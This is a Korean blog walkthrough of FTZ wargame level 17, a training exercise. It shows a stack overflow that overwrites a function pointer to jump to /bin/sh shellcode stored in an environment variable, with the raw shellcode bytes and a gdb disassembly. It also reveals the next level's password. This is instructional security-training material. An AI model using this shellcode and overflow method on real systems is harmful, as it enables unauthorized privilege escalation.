티스토리 뷰

System/FTZ

[FTZ] level17

MitNy 2017. 9. 28. 19:16

pw is king poetic




이번엔 .c 파일은 없고 다른 문제들과 동일하게 attackme 파일만 있다.


힌트는 다음과 같다.


#include <stdio.h>


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();

}



main 안에 setreuid가 있는걸 보니 왠지 환경변수를 사용해야할 것 같다.

일단

export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


로 SHELLCODE 환경변수를 추가해주고

계속 사용해 온 getit 파일을 실행시켜 환경변수의 주소를 알아냈다.



0xbffffc1e


(gdb) disas main

Dump of assembler code for function main:

0x080484a8 <main+0>: push   ebp

0x080484a9 <main+1>: mov    ebp,esp

0x080484ab <main+3>: sub    esp,0x38

0x080484ae <main+6>: mov    DWORD PTR [ebp-16],0x8048490

0x080484b5 <main+13>: sub    esp,0x4

0x080484b8 <main+16>: push   ds:0x804967c

0x080484be <main+22>: push   0x30

0x080484c0 <main+24>: lea    eax,[ebp-56]

0x080484c3 <main+27>: push   eax

0x080484c4 <main+28>: call   0x8048350 <fgets>

0x080484c9 <main+33>: add    esp,0x10

0x080484cc <main+36>: sub    esp,0x8

0x080484cf <main+39>: push   0xc1a

0x080484d4 <main+44>: push   0xc1a

0x080484d9 <main+49>: call   0x8048380 <setreuid>

0x080484de <main+54>: add    esp,0x10

0x080484e1 <main+57>: mov    eax,DWORD PTR [ebp-16]

0x080484e4 <main+60>: call   eax

0x080484e6 <main+62>: leave

0x080484e7 <main+63>: ret

0x080484e8 <main+64>: nop

0x080484e9 <main+65>: nop

0x080484ea <main+66>: nop

0x080484eb <main+67>: nop

0x080484ec <main+68>: nop

0x080484ed <main+69>: nop

0x080484ee <main+70>: nop

0x080484ef <main+71>: nop

End of assembler dump.



A가 38개보다 많으면 Segmentation fault가 뜬다.



그래서 buf와 dummy부분을 A 40개로 채워주고 call 함수가 실행되는 부분에

SHELLCODE 환경변수의 주소 0xbffffc1e 를 넣어주었다.




Level18 Password is "why did you do it".



'System > FTZ' 카테고리의 다른 글

[FTZ] level19  (0) 2017.10.10
[FTZ] level18  (0) 2017.09.28
[FTZ] level16  (0) 2017.09.28
[FTZ] level15  (0) 2017.09.27
[FTZ] level14  (0) 2017.09.25
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함